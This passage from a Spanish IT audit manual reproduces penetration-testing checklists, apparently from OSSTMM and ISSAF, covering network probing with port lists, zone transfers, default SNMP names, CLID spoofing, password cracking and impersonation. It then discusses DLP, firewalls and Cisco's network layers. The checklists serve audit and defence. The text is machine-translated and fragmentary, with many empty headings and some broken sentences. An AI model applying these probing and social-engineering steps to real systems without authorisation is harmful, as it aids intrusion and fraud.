Revisar y documentar la cultura organizacional apropiada en el ámbito
de la seguridad y la sensibilización sobre la privacidad, capacitación del
personal requerido y disponible, jerarquía organizacional y Reconoció la
interacción de confianza entre los empleados.
8.1.4 Relaciones.
Revisar y documentar las relaciones de influencia apropiadas entre el
personal de la Jerarquía organizacional dentro del ámbito de aplicación.
8.1.6 Economía.
Revisar y documentar la influencia apropiada de la economía y la escala
salarial sobre el estatus social intención criminal en el personal tanto del
vector del personal dentro del alcance como de la La comunidad exterior
en la que reside el ámbito.
8.2 Logística
8.2.2 Comunicaciones.
A) Compruebe qué idiomas se utilizan dentro del ámbito de aplicación
y qué lenguas se comunican entre el ámbito de aplicación y los clientes,
socios y revendedores que se encuentran fuera del ámbito de
aplicación.
8.2.3 Tiempo.
(A) Pruebe el horario, los días festivos y los horarios de trabajo para
varios roles y trabajos dentro del ámbito, incluidos socios,
revendedores y clientes influyentes que interactúan con el ámbito.
8.3.1 Supervisión.
8.3.2 Reaccionando.
8.4.1 Reconocimiento
8.5.1 Enumeración:
8.5.2 Autenticación:
8.5.3 Ubicación:
(B) Trazar e identificar todos los caminos a los puntos de acceso que
se pueden alcanzar en una interacción ruidosa, no furtiva, directa
(3 segundos o menos tiempo en el blanco) con ese punto de
acceso. Esto puede incluir ataques que son conatos (sin tener en
cuenta la vida del atacante)
8.5.4 Penetración:
8.6.2 Fraude.
Probar y documentar la profundidad de los requisitos para el acceso a los
activos con el uso de representación de la autoridad como miembro de la
dirección u otro personal clave.
8.6.4 Estiba
Probar y documentar la profundidad de los requisitos para el acceso a los
activos a través de la estiba transporte de la ayuda o de la entrega para
tomar la estiba fuera del alcance.
8.6.6 En Terrorismo.
Prueba y documenta la profundidad de los requisitos para incitar al miedo,
la rebelión, la violencia y el caos, la interrupción de los procesos y la
contaminación de los suministros.
8.7.1 No repudio.
Enumerar y probar el uso o insuficiencias de monitores y sensores para
identificar y registrar correctamente acceso o interacciones con los activos
para pruebas específicas para desafiar el repudio. Documente en
profundidad de la interacción que se registra.
8.7.2 Confidencialidad.
Enumerar y probar el uso o las deficiencias de todas las señales,
comunicación física y entre los procesos internos y externos y el personal
que utiliza códigos, lenguaje indescifrable, interacciones personales
"tranquilas" o "cerradas" para promover la confidencialidad de la
comunicación sólo a aquellos con la calificación de seguridad adecuada
clasificación para esa comunicación.
8.7.3 Privacidad.
Enumerar y probar el uso o insuficiencias de todas las interacciones
dentro del alcance usando empaquetado o etiquetado no marcados o no
obvios, interacciones de "silencio" o "habitación cerrada", y dentro de
cuartos elegidos al azar para ocultar o proteger la privacidad de la
interacción y sólo a aquellos con la autorización de seguridad adecuada
para ese proceso o activo.
8.7.4 Integridad.
(A) Enumerar y probar las insuficiencias en todas las señales y la
comunicación entre procesos Y el personal que utiliza un proceso
documentado, sellos, firmas, hashing o marcas cifradas para proteger y
Página 355 de 430
Manual de Auditoria para no Auditores
8.8.1 Mantenimiento.
8.8.2 Indemnización
8.10.1 Compartir.
Verificar la medida en que los activos personales o los de la organización
han sido falsificados, reproducidos o compartidos ilegal e
intencionalmente de acuerdo con los requisitos de la revisión de la política.
Revisar a través de compartir, prestar, alquilar o alquilar servicios,
bibliotecas personales y personales cachés o involuntariamente por
ignorancia o negligencia.
8.10.4 Almacenamiento.
(A) Verificar que las ubicaciones de almacenamiento y los caches
pequeños de activos de ubicación dentro del alcance.
(B) Verificar las ubicaciones de almacenamiento y los caches pequeños
de los activos de la organización para su uso o venta en público o
A otros miembros de la organización no están deliberadamente ocultos,
atesorados, controlados, o guardado.
8.15.1 Identificación
Examinar y documentar el proceso para obtener la identificación a través
de medios legítimos, ilegales (por ejemplo, injertos, robo, amenazas, etc.)
y fraudulentos (falsificación, falsedad, etc.).
8.15.2 Autorización
Verificar el uso de autorización fraudulenta para obtener privilegios
similares a los de otro personal.
8.15.3 Escalamiento
Verificar y enumerar los accesos a los activos mediante el uso de
privilegios para obtener privilegios superiores a los de los porteros.
8.15.4 Circunstancias especiales
Verificar los privilegios de acceso obtenidos en los casos en que la edad
(específicamente los considerados legalmente como menores para la
región), la relación (es decir, el hijo, la hija, el padre, la madre, etc.) el
sexo, la raza, la costumbre / cultura y la religión son factores que pueden
ser Concedido circunstancias especiales o discriminado de acuerdo con
la revisión de la política.
8.15.5 Subyugación
Enumerar y probar las deficiencias en el acceso a los activos no
controlados por la fuente que proporciona el acceso (es decir, PIN, fotos
de identificación, etc., seleccionados por el actor, signos con números de
identificación escritos por el actor).
8.16.1 Resiliencia
8.16.2 Continuidad
8.17.1 Alarma
Verificar y enumerar el uso de un sistema de alerta, registro o mensaje de
localización o ámbito de alcance para cada pasarela de acceso donde la
personal sospecha que hay sospechas de intentos de evasión, actividad
fraudulenta, intrusión o incumplimiento. Asegúrese de que los sensores /
sistemas estén instalados según las normas nacionales, regionales o
internacionales y que se prueben periódicamente para cubrir todos los
puntos accesibles.
Capítulo 10 COMSEC
Que es una clasificación para la seguridad material dentro del ámbito ELSEC
que se encuentra dentro de los límites de las telecomunicaciones sobre cables.
Este canal cubre la interacción del analista con los objetivos.
Consideraciones:
Tenga en cuenta las siguientes consideraciones para asegurar una prueba
segura y de alta calidad:
Los analistas deben hacer esfuerzos para no invadir la vida privada de una
persona donde esa vida privada ha hecho esfuerzos para separarse del alcance
.
Los analistas con un acuerdo especial para los sistemas de prueba que están
bajo contrato directo, pero no son propiedad, o son propiedad, pero no están
alojados en la propiedad legal del propietario, deben tomar muchas precauciones
para asegurar que las pruebas tengan un impacto mínimo en otros sistemas
fuera del alcance o contrato.
Los estudios iniciales de la política incluyen las leyes, la ética, las políticas, las
regulaciones de la industria y la cultura política que influyen en los requisitos de
seguridad y privacidad para el alcance. En la mayoría de los casos, un objetivo
también puede tener contratos con proveedores y otros terceros que pueden
necesitar ser revisados y documentados.
Esta revisión constituye una matriz contra la cual las pruebas deben ser
mapeadas, pero no restringidas, debido a la ubicuidad de los puntos finales del
canal. Por lo tanto, es importante considerar, como requiere alguna legislación,
el mercado objetivo o los usuarios finales de este canal, que también debe
agregarse al ámbito de este módulo
.
10.1.1 Política
(A) Revisar y documentar la política organizacional apropiada con respecto a los
requisitos de seguridad, integridad y privacidad del alcance. Verificar las
limitaciones de las telecomunicaciones impuestas por la política de seguridad.
(B) Revisar y documentar contratos y Acuerdos de Nivel de Servicio (SLA) con
proveedores de servicios y otros terceros involucrados.
10.1.2 Legislación
Revisar y documentar la legislación nacional y regional pertinente con respecto
a los requisitos de seguridad y privacidad de la organización en el ámbito de
aplicación, así como a los clientes, socios, sucursales organizacionales o
revendedores adecuados fuera del ámbito de aplicación. Cuando corresponda,
preste especial atención a la privacidad y retención de datos de los registros
detallados de llamadas, leyes y normas que rigen la interceptación o monitoreo
de telecomunicaciones y la provisión de servicios críticos como el E-911 / UR-
112.
10.1.3 Cultura
Revisar y documentar la cultura organizacional apropiada en el ámbito de la
concientización sobre la seguridad y la privacidad, la capacitación del personal
necesario y disponible, la jerarquía organizacional, el uso de la mesa de ayuda
y los requisitos para reportar problemas de seguridad.
10.1.4 Edad
Revise y documente la antigüedad de los sistemas, software y aplicaciones de
servicio requeridos para las operaciones.
10.2 Logística
10.2.1 Marco
10.3.1 Supervisión
10.3.2 Filtrado.
10.4.2 Enumeración
(A) Pruebas de PBX: enumerar los sistemas de telefonía dentro del
alcance.
(B) Prueba de buzón de voz: busque buzones de voz dentro del alcance.
(C) Prueba de FAX: enumera los sistemas FAX dentro del alcance.
(D) Encuesta de módem: encuentre todos los sistemas con módems de
escucha e interactivos dentro del alcance.
(E) Prueba de servicios de acceso remoto: enumerar los sistemas RAS
dentro del ámbito de aplicación.
10.4.3 Identificación.
(A) Identificar los tipos de OS y las versiones en uso en los sistemas
dentro del alcance.
(B) Identificar tipos de servicio y versiones en uso en sistemas dentro del
alcance.
(C) Identificar los tipos de módem y FAX y los programas operativos.
10.5.2 Servicios.
10.6.1 Suplantación
(A) Comprobar y documentar los métodos de acceso en uso que no
requieren la presentación de Credenciales de autenticación.
(B) Comprobar y documentar la profundidad de los requisitos de
interacción y acceso a la propiedad dentro del alcance por medio de
spoofing una fuente de confianza (ejemplo: CLID y X.25 NUA spoofing).
10.7.1 No repudio
10.7.2 Confidencialidad
(A) Enumerar todas las interacciones con los servicios dentro del
alcance de las comunicaciones o activos transferidos a través del
canal usando líneas seguras, cifrado, interacciones "silenciadas" o
"cerradas" para proteger la confidencialidad de la propiedad de
información entre las partes involucradas.
(B) Verificar los métodos aceptables utilizados para la
confidencialidad.
(C) Comprobar la fuerza y el diseño de los métodos de cifrado u
ofuscación.
D) Verificar los límites exteriores de comunicación que pueden
protegerse mediante el método de confidencialidad aplicado.
10.7.3 Privacidad
10.7.4 Integridad
10.8.2 Mantenimiento.
Examinar y documentar la oportunidad, la idoneidad, el acceso y el
alcance de los procesos para la notificación y la conciencia de seguridad
del personal con respecto a la seguridad operacional, la seguridad real y
los controles de pérdidas.
10.8.3 Desinformación.
Determinar hasta qué punto las notificaciones de seguridad del personal
y las noticias de seguridad pueden ser ampliadas o alteradas con
información errónea.
10.8.5 Indemnización.
(A) Documentar y enumerar los objetivos y servicios que están protegidos
contra
Eludir la política del empleado, están asegurados por robo o daños, o usan
responsabilidad y permiso de responsabilidad.
(B) Verificar la legalidad e idoneidad del lenguaje en las renuncias.
(C) Verificar el efecto de las renuncias en las medidas de seguridad o
seguridad.
(D) Examinar el lenguaje de la póliza de seguro para las limitaciones en
los tipos de daños o activos.
(E) Comparar la política de acceso cultural con la política de
indemnización para evidenciar las debilidades.
10.10.1 Compartir.
Compruebe hasta qué punto el personal comparte personal, licencia,
propiedad privada, simulada, reproducida, no libre o no abierta entre el
personal, ya sea intencionalmente a través de procesos y programas
compartidos, bibliotecas y cachés personales, o involuntariamente a
través de una mala administración de licencias y recursos. negligencia.
10.11.2 Divulgación.
Examinar y documentar los tipos de revelaciones de información privada
en los servicios de comunicación de los porteros responsables de esta
segregación de acuerdo con la política y las regulaciones según lo
determinado en la revisión de la política y el derecho humano básico.
10.11.3 Limitaciones.
Examinar y documentar tipos de pasarelas y alternativas de canal con
pasarelas accesibles a personas con limitaciones físicas dentro de ese
canal, como en el servicio.
10.12.1Mapa de exposición.
10.12.2 Proyección
Perfil y verificar la organización, sus redes públicas de
telecomunicaciones, empleados, tecnologías y dirección de negocios.
10.15.1 Identificación
Examinar y documentar el proceso para obtener la identificación a
través de medios legítimos y fraudulentos en todos los canales.
10.15.2 Autorización
(A) Verificar el uso de autorización fraudulenta en todos los canales
para obtener privilegios similares a los de otro personal.
(B) Probar y documentar rutas posibles para evitar las listas de
control de acceso (ACL) configuradas para redes, sistemas,
servicios y aplicaciones dentro del ámbito.
10.15.3 Escalamiento
Verificar y asignar el acceso a la información mediante el uso de
privilegios para obtener privilegios más altos.
10.15.4 Subyugación
Enumerar y probar las insuficiencias de todos los canales para usar
o habilitar los controles de pérdida no habilitados de forma
predeterminada.
10.16.1Continuidad
10.16.2 Resilencia
Mapear y documentar el proceso de desvinculación de los canales
debido a incumplimiento o preocupaciones de seguridad como un
análisis de la brecha con la regulación y la política de seguridad.
10.17.1 Alarma.
(A) Compruebe y enumere el uso de un sistema de alerta, registro
o mensaje de localización o ámbito de alcance para cada pasarela
de acceso sobre cada canal en el que una situación sospechosa se
eleve por sospecha de intentos de intrusión o actividad fraudulenta
y determina los niveles de recorte.
(B) Revisar los registros de los avisos de llamadas entrantes y
salientes para detectar signos de abuso o fraude.
C) Sistemas de gestión de registros de ensayos y documentos.
Consideraciones:
donde corresponda. Por ejemplo, NetBIOS, ARP, SAP, NFS, BGP, OSPF,
MPLS, RIPv2, etc.
(C) Consultar todos los servidores de nombres y los servidores de
nombres del ISP o del proveedor de alojamiento, si los registros A, AAAA
y PTR correspondientes, así como la capacidad de realizar transferencias
de zona para determinar la existencia de todos los destinos de la red y
cualquier redundancia relacionada, equilibrio de carga, almacenamiento
en caché, proxy y alojamiento virtual.
(D) Verificar las solicitudes de difusión y las respuestas de todos los
objetivos.
(E) Verificar y examinar el uso de protocolos de tráfico y enrutamiento para
todos los objetivos.
(F) Verificar las respuestas ICMP para los tipos ICMP 0-255 y ICMP 0-2
de todos los objetivos.
(G) Compruebe que los nombres de comunidades SNMP
predeterminados y probables en uso son según la práctica
Implementaciones de todas las versiones SNMP.
(H) Verificar las respuestas de los objetivos para seleccionar puertos con
una caducidad TTL establecida en menos de 1 y 2 saltos
De los objetivos. Por ejemplo:
TCP 8, 22, 23, 25, 80, 443, 445, 1433
UDP 0, 53, 139, 161
ICMP T00: C00, T13: C00, T15: C00, T17: C00
(I) Trace la ruta de los paquetes ICMP a todos los objetivos.
(J) Trace la ruta de los paquetes TCP a todos los destinos para los puertos
SSH, SMTP, HTTP y HTTPS.
(K) Trace la ruta de paquetes UDP a todos los destinos para los puertos
DNS y SNMP.
(L) Identificar la predicción del número de secuencia TCP ISN para todos
los objetivos.
(M) Compruebe los incrementos IPID de las respuestas de todos los
destinos.
(N) Compruebe el uso del enrutamiento de origen suelto al gateway de
destino y los sistemas perimetrales externos para encaminar los paquetes
a todos los destinos.
11.4.2 Enumeración.
(A) Buscar grupos de noticias, foros, IRC, IM, P2P, VoIP y comunicaciones
basadas en la web para conectar la información del objetivo para
determinar los sistemas de pasarela de salida y el direccionamiento
interno.
(B) Examine los encabezados de correo electrónico, los mensajes de
correo electrónico devueltos, los recibos de lectura, los errores de correo
y los rechazos de malware para determinar los sistemas de pasarela de
salida y el direccionamiento interno.
(C) Examinar el código fuente y las secuencias de comandos de la
aplicación basada en la Web objetivo para determinar la existencia de
objetivos adicionales en la red.
(D) Examinar las emanaciones de servicio y aplicación. Manipular y
reproducir el tráfico capturado para invocar nuevas solicitudes o
respuestas, obtener profundidad o exponer información adicional. Por
ejemplo,
SQL, Citrix, HTTP, SAP, DNS, ARP, etc.
(E) Buscar registros web y registros de intrusión para las rutas del sistema
de la red de destino.
(F) Verificar todas las respuestas de las solicitudes de paquetes UDP a
los puertos 0-65535.
(G) Verificar las respuestas a las peticiones de paquetes UDP desde los
puertos FUENTE 0, 53, 139 y 161 a 0, 53, 69, 131 y 161.
(H) Verifique las respuestas a las solicitudes de paquetes UDP con BAD
CHECKSUMS a todos los puertos descubiertos y para 0, 53, 69, 131 y
161.
(I) Verificar las respuestas de solicitud de servicio a los puertos de
malware de acceso remoto UDP comunes y contemporáneos.
(J) Verificar las respuestas de las solicitudes de paquetes TCP SYN a los
puertos 0-65535.
(K) Verificar las respuestas de las solicitudes de servicio TCP a los puertos
0, 21, 22, 23, 25, 53, 80 y 443.
(L) Verificar las respuestas de un TCP ACK con un puerto SOURCE de
80 a los puertos 3100-3150, 10001-10050,33500-33550 y 50 puertos
aleatorios por encima de 35000.
(M) Verificar las respuestas de los fragmentos TCP SYN a los puertos 0,
21, 22, 23, 25, 53, 80 y 443.
11.7.4 Integridad
Enumerar y probar las insuficiencias de integridad cuando se utiliza
un proceso documentado, firmas, cifrado, hash o marcas para
asegurar que el activo no puede ser cambiado, redirigido o invertido
sin que sea conocido por las partes involucradas.
11.8 Verificación del proceso
Pruebas para examinar el mantenimiento de la seguridad funcional en los
procesos establecidos y la diligencia debida tal como se define en la revisión de
la política.
11.8.1 Mantenimiento
A) Examinar y documentar la oportunidad, la idoneidad, el acceso
y el alcance de los procesos de notificación y respuesta de
seguridad en lo que respecta a la vigilancia de la red y la seguridad.
B) Verificar la idoneidad y la funcionalidad de las capacidades de
respuesta a incidentes y forenses para todos los tipos de sistemas.
(C) Verificar el nivel de incidencia o compromiso que los canales de
soporte pueden detectar y la duración del tiempo de respuesta.
11.8.2 Desinformación
Determinar hasta qué punto las notificaciones de seguridad y las
alarmas pueden ampliarse o alterarse con información errónea.
11.8.3 Auditoria Legal
Mapee y verifique las lagunas entre la práctica y los requisitos
según lo determinado en la revisión de la política a través de todos
los canales.
11.8.4 Indemnización
(A) Documentar y enumerar los objetivos y servicios que están
protegidos contra
Eludir la política del empleado, están asegurados por robo o daños,
o usan responsabilidad y permiso de responsabilidad.
(B) Verificar la legalidad e idoneidad del lenguaje en las renuncias.
(C) Verificar el efecto de las exenciones de responsabilidad sobre
medidas de seguridad o seguridad.
(D) Examinar el lenguaje de la póliza de seguro para las
limitaciones en los tipos de daños o activos.
11.10.1 Compartir
Compruebe hasta qué punto se comparte intencionalmente a través de
procesos y programas compartidos, bibliotecas y cachés personales, o sin
intención, a través de una mala administración de licencias y recursos o
de negligencia, propiedad privada, falsa, reproducida, no libre o no
abierta.
11.15.2 Autorización
(A) Examinar y verificar cualquier medio para obtener una
autorización fraudulenta para obtener privilegios similares a
los de otro personal.
(B) Enumerar el uso de cuentas por defecto en los objetivos.
C) Comprobar el acceso a los puntos de acceso
autenticados mediante las técnicas de craqueo más
adecuadas y disponibles. El cracking de contraseñas a
través de diccionario o fuerza bruta puede estar limitado por
el marco de tiempo de la auditoría y por lo tanto no es una
prueba válida de la protección de ese esquema de
autenticación, sin embargo, cualquier descubrimiento
exitoso da fe de su debilidad.
11.15.3 Escalamiento
(A) Recoger información sobre personas con privilegios
altos. Busque roles o posiciones de confianza, puertas de
enlace de acceso para personas de confianza y cualquier
medio de acceso físico requerido, como fichas o tarjetas
inteligentes.
(B) Compruebe los límites de privilegios en el destino o entre
múltiples destinos y si existen medios para escalar esos
privilegios.
Capítulo 25.
Como se puede observar y deducir hay una gran cantidad de pruebas a realizar
sin entrar el código de fuente de las aplicaciones, que como hemos señalado
utilizan Internet que deben ser tenidas en cuenta desde el inicio excluyendo el
código fuente, que tiene su propia parcela que abordaremos más adelante. Aquí
se hace un recordatorio a que previamente habremos detectado y verificado las
vulnerabilidades relacionadas con el Hardware y Software sobre él que se
apoyan estas aplicaciones. Pero antes debemos tener presente las siguientes
consideraciones como norma de carácter general.
Hay que tener en cuenta que Microsoft por ejemplo ha abandonado la tecnología
de Internet Explorer, pero que algunas Webs aún son incompatibles con
Microsoft Edge©®, es seguro, que sólo aquellas que ofrezcan servicios de valor
añadido real para ambas partes Proveedores y Clientes migraran hacia la
compatibilidad con MS-Edge, aunque también hay que decir que Google con
Chrome©® y sus versiones derivadas como Opera, etc tienen cada día mayor
cuota de mercado en detrimento de Edge. En cuanto a los temas de correo
electrónico, muchas empresas han optado por Clientes de Correo Electrónico
ligeros, que no están vinculados a ninguna suite ofimática en particular, otra
cuestión son los sistemas de intercambios de mensajes multiformato donde
Exchange©® y Lotus Notes©® se disputan el mercado.
Una vez hemos tenido presente la parte expuesta de nuestra infraestructura cara
al público general (clientes potenciales) y clientes asiduos, nos queda la parte
relativa a proveedores en general y trabajadores temporales vinculados a la
empresa y que nos están incorporados físicamente en la estructura de la
empresa, pero que desempeñan funciones, a veces críticas, que se conectan
mediante diversas tecnologías de forma directa (VPN / WLAN) o indirecta con
mediación de un tercero (MAN / WAN) y que deben recibir el mismo trato de
análisis que un cliente potencial o un teletrabajador. Veamos que
recomendaciones debemos seguir para las tecnologías (VPN / WLAN) según
ISSAF.
Por supuesto esta enumeración de pruebas sigue siendo válida, aunque las
tecnologías hayan evolucionado puesto que mientras: los fabricantes proponen
el mercado; es quien acaba definiendo lo que se conoce como estándares de
facto, que no coinciden la mayoría de las veces, con los propuestos por los
fabricantes, ni por las instituciones oficiales.
Además, volvemos a recodar el principio conservador de ¡sí funciona no lo
toques! Por eso no es de extrañar que tecnologías consideradas <<obsoletas>>
estén aún presentes en pequeñas y medianas empresas, que no puede abordar
ni migraciones de hardware, ni de software y por supuesto de desarrollo a
medida, por la inversión y el riesgo que supone frente a infraestructuras físicas y
lógicas que ya conocen y dado que muchas de ellas, no quieren transferir a un
tercero su información, ni sus estructuras de gestión y de conocimiento, aun
siendo muy conscientes del riesgo que ello implica utilizando tecnología obsoleta
en determinados sectores y actividades. En la mayoría de las ocasiones optan
por un respaldo completo y un respaldo diferencial como mejor medida de
salvaguardia.
Abordemos ahora dos temas importantes además de la seguridad vinculada a
aplicaciones Web y conectividad con terceros vía Internet, hay otros dos
aspectos muy importantes a tener presentes, teniendo presente a los que ya no
sólo acceden y buscan descargar información y mensajes, si no los que además
deben depositar información; con lo que nos adentramos en la problemática de
los sistemas de almacenamiento en red (precursores de la actual Nube) y que
muchas empresas medianas, tienen como infraestructura física y lógica propia
denominados SAN y para los que ISSAF nos da las siguientes recomendaciones
a tener presente:
Además debemos tener presente que los SAN deben tener una fuertes medidas
de cuarentena, para aquellas zonas donde los terceros, deban alojar
documentos y objetos de diversa naturaleza, dado que pueden existir ataques
del tipo caballo de Troya, que pueden ser construidos por partes y enviados para
ser ensamblados de forma silenciosa en destino final, para crear un backdoor
por donde acceder y robar información valiosa, o como un punto de asalto desde
donde poder explorar otras zonas con información más valiosa, por ello debemos
tener presente las estrategias relativas a los antivirus que son las siguientes:
Hay que señalar que estos patrones aplicados a Clientes asiduos, proveedores
y teletrabajadores no excluyen para nada que se apliquen a los trabajadores
internos / personal externos en régimen de prestación de servicios, siempre y
cuando para estos se añada reingeniería social.
Se debe tener muy presente que además del mantenimiento habitual o rutinario
es necesario el compartir información que alimente y genere nuevos modelos de
comportamientos sospechosos o anómalos, pues mientras se hace un enorme
esfuerzo por atajar / bloquear / paralizar o cuarentinizar los ataques externos, los
ataques internos pueden ser tan dañinos o más que los externos, por realizarse
de forma silenciosa y porque un ataque externo es muy improbable que no
fructifique por sí mismo, sin fuentes que nos faciliten pistas o indicios.
Según el FBI el 80% de los delitos tecnológicos tienen una componente interna
necesaria y sino véase el caso WikiLeaks, así como el caso de Snowden que
demostraron a todas luces el peligro que supone, el no detectar a tiempo
comportamientos sospechosos o anómalos, como la falta de medidas de
custodia y cifrado para datos especialmente sensibles, con lo que ello supone.
Aquí cabría añadir además de lo señalado para IPS / IDS y la tecnología
Antivirus, hay una nueva tecnología importante como es la DLP Data Loose
Prevention cuya definición es la siguiente:
La prevención de pérdida de datos (DLP) es una estrategia para asegurarse de
que los usuarios finales no envían información sensible o crítica fuera de la red
corporativa. El término también se utiliza para describir productos de software
que ayudan a un administrador de red a controlar qué datos pueden transferir los
usuarios finales. La adopción de DLP, también llamada prevención de fuga de
datos, prevención de pérdida de información o prevención de extrusiones, está
siendo impulsada por amenazas internas y por leyes estatales de privacidad más
rigurosas, muchas de las cuales tienen estrictos componentes de protección de
datos o de acceso.
Una vez que las herramientas de software DLP han sido implementadas, un
usuario final que intente, de manera accidental o malintencionada, revelar
información confidencial que ha sido etiquetada, será repudiado. Además de ser
capaces de monitorear y controlar las actividades de punto final, las
herramientas de DLP también pueden ser utilizadas para filtrar flujos de datos en
la red corporativa y proteger los datos en reposo.
A esto debemos añadir como complemento para ser rigurosos toda la parte de
pruebas de Código Fuente, pues en muchos casos es lo que recibimos de
teletrabajadores o administradores de sistemas en remoto, que necesita ser
verificado antes de ser transferido desde la zona de cuarentena, allí donde tenga
que ser aplicado (ejecución de script) bien integrado en algún componente de
mayor envergadura. La propuesta de ISSAF para esta sección en particular es
la siguiente:
A esto debemos añadir lo señalado para el código fuente y añadir todo lo relativo
a pruebas de inyección SQL, no sólo se deben tener presentes para los ataques
externos, dado que el número de barreras que deben sobrepasarse es
importante al menos: un firewall, un IDS/IPS, y por supuesto el sistema de
seguridad del propio motor de la Base de Datos, en la mayoría de las
organizaciones los usuarios internos sólo han de sortear el sistema de seguridad
del motor de la Base de Datos y los Derechos de Acceso a las unidades de red
que contienen permisos específicos para acceder al mismo, al motor de la Base
de Datos, en algunas organizaciones además de estos los derechos de acceso
a dicho motor y otros recursos críticos se gestionan a través de las VLANs y los
Switches e incluso con sistemas de gestión de identidades que pueden incluir
datos biométricos.
Para concluir con la parte de gestión de la seguridad relacionada con terceros
ya sean Clientes asiduos, Proveedores o Teletrabajadores nos resta hablar de
las reglas de pruebas que debería seguirse además de las ya citadas que
comprenden los siguientes elementos:
Todos sin excepciones han de pasar en algún momento por este dispositivo, que
ha evolucionado llegando a fusionarse en la actualidad con el firewall, por lo que
las reglas anteriores más las propias del firewall, pueden en la actualidad
considerarse un conjunto único Router-Firewall y en un futuro próximo es posible
mediante la evolución de las actuales soluciones de virtualización, añadir incluso
un tercer grupo de funcionalidades, que ya hemos mencionado que son las
relativas a los IDS / IPS pero sin IA siendo esto una función privativa de las Comentado [P1]: Inteligencia Artificial
herramientas SEM / SIEM ya que requiere alta capacidad de proceso y gestionar
con fluidez grandes volúmenes de E/S. Veamos las reglas propuestas para el
Firewall.
Hay que señalar que al menos que además del Firewall como dispositivo físico
de comunicaciones, hay una tendencia natural a transformarlo en un rol de una
Página 410 de 430
Manual de Auditoria para no Auditores
Para completar toda la temática de las redes, hablaremos de los Switches dado
que, en los últimos tiempos, han pasado de ser simples conmutadores de puertos
y tramas a convertirse en un elemento de la seguridad activa-pasiva de la red.
La evolución de Switches 3Com Networks, HP en la actualidad y Cisco han
jugado un papel trascendente, al crear estándares de seguridad que operan en
el nivel 2 y 3 creando un modelo funcional de tres niveles, ahí la importancia de
gestionar y garantizar correctamente que quien se conecte físicamente a la red
este donde este, y sí se trata de un intruso, sea detectado lo antes posible.
Según el fabricante de Hardware y Software de Networking Cisco toda red se
puede ver como una prolongación de la propia organización hacia las
organizaciones de los Clientes, Socios y Proveedores mediante redes
convergentes, lo que supone mayores compromisos al compartir, no sólo
estructura, sino información sensible de ahí la importancia de la monitorización.
Cisco establece tres capas que son las siguientes y desarrollan estas funciones:
Capa de acceso
La capa de acceso de la red es el punto en el que cada usuario se conecta a la
red. Ésta es la razón por la cual la capa de acceso se denomina a veces capa
de puesto de trabajo, capa de escritorio o de usuario. Los usuarios, así como los
recursos a los que estos necesitan acceder con más frecuencia, están
disponibles a nivel local. El tráfico hacia y desde recursos locales está confinado
entre los recursos, switches y usuarios finales. En la capa de acceso podemos
encontrar múltiples grupos de usuarios con sus correspondientes recursos. En
muchas redes no es posible proporcionar a los usuarios un acceso local a todos
los servicios, como archivos de bases de datos, almacenamiento centralizado o
acceso telefónico al Web. En estos casos, el tráfico de usuarios que demandan
estos servicios se desvía a la siguiente capa del modelo: la capa de distribución.
Capa de distribución
La capa de distribución marca el punto medio entre la capa de acceso y los
servicios principales de la red. La función primordial de esta capa es realizar
funciones tales como enrutamiento, filtrado y acceso a WAN.
En un entorno de campus, la capa de distribución abarca una gran diversidad de
funciones, entre las que figuran las siguientes:
• Servir como punto de concentración para acceder a los dispositivos de capa de
acceso.
• Enrutar el tráfico para proporcionar acceso a los departamentos o grupos de
trabajo.
• Segmentar la red en múltiples dominios de difusión / multidifusión.
• Traducir los diálogos entre diferentes tipos de medios, como Token Ring y
Ethernet
• Proporcionar servicios de seguridad y filtrado.
La capa de distribución puede resumirse como la capa que proporciona una
conectividad basada en una determinada política, dado que determina cuándo y
cómo los paquetes pueden acceder a los servicios principales de la red. La capa
de distribución determina la forma más rápida para que la petición de un usuario
(como un acceso al servidor de archivos) pueda ser remitida al servidor. Una vez
que la capa de distribución ha elegido la ruta, envía la petición a la capa de
núcleo. La capa de núcleo podrá entonces transportar la petición al servicio
apropiado.
Capa de Núcleo
La capa del núcleo, principal o Core se encarga de desviar el tráfico lo más
rápidamente posible hacia los servicios apropiados. Normalmente, el tráfico
transportado se dirige o proviene de servicios comunes a todos los usuarios.
Estos servicios se conocen como servicios globales o corporativos. Algunos de
tales servicios pueden ser e-mail, el acceso a Internet o la videoconferencia.
Cuando un usuario necesita acceder a un servicio corporativo, la petición se
procesa al nivel de la capa de distribución. El dispositivo de la capa de
distribución envía la petición del usuario al núcleo. Este se limita a proporcionar
un transporte rápido hasta el servicio corporativo solicitado. El dispositivo de la
Hay que señalar que se debe tener presente que Windows Server y sus Clientes
W7, W8, W10 incorporan sus propios firewalls que deben disponer de reglas
complementarias a las reglas implantadas en los firewalls de Red y los IDS / IPS
si existen en la Red, en cuanto Novell-Netware©®
Al final de este mismo capítulo veremos un esquema gráfico que nos ayudará a
comprender mejor los diferentes de niveles de seguridad donde realizar pruebas
significativas, cómo nos ayuden a descubrir vulnerabilidades, tanto externas
como internas, a las que habremos de hacer frente mediante un plan de acción
especifico, para erradicarlas si es posible, mitigar las si la erradicación no es
posible, antes del siguiente ciclo de Auditoria Interna / Externa.
Al igual que hemos hablado de Novell-Netware©® y teniendo en cuenta que
estamos trabajando con una metodología del año 2006 también hay un capítulo
dedicado a los Miniordenadores, muchas empresas además de sus redes
locales decidieron adquirir o alquilar Miniordenadores para determinado tipo de
trabajos, en España proliferaron mucho un tipo de Miniordenador de IBM
denominado AS400 que tanto en España como en otros muchos países del Este
de Europa se continua utilizando y también ISSAF nos da pautas respecto a este
entorno de forma orientativa siempre.
Servidores
ANDROID Windows
Mac OS Linux
Windows Netware
Servidor AS400
Servidor Z
Servidores NEC Hitachi
Cray- SGI- Sun Microsystems
HP- DEC – Fujitsu···
Windows
Linux
MacOS
Los terminales del lado izquierdo representan todos los SO conocidos y posibles
en el año 2017 y en el lado derecho tenemos todos los posibles entornos con los
que estos usuarios se pueden comunicar de forma continua o esporádica. Aun
reconociendo que es una representación muy simplificada de un entorno muy
complejo, en este caso, circunscrito a sistemas de gestión puesto que aquí no
estamos incluyendo el Internet de la cosas o IoT, es posible tomar el control de
los Servidores de Windows Linux y Netware y desde ahí acceder a otras
plataformas por lo que se ha de ser muy sistemático en la exploración de la
Seguridad de los Servidores mediante una serie de pruebas que se han de
desarrollar en un entorno separado del entorno real, con datos generados o
datos reales anonimizados por cumplimiento legal, y estas pruebas deben
verificar lo siguiente: Que actuando como un atacante externo, como si se tratará
de un atacante interno:
1. No es posible acceder a ninguno de los servidores de la empresa, sino
es mediante protocolo seguro y que el acceso es a zonas de información
pública o de solicitud de información. Solo se permite la consulta o
descarga. No es posible enviar ficheros.
2. Que no es posible mantener la conexión abierta más 120 segundos, si no
se es: Teletrabajador, Proveedor, o Cliente asiduo, es decir usuario
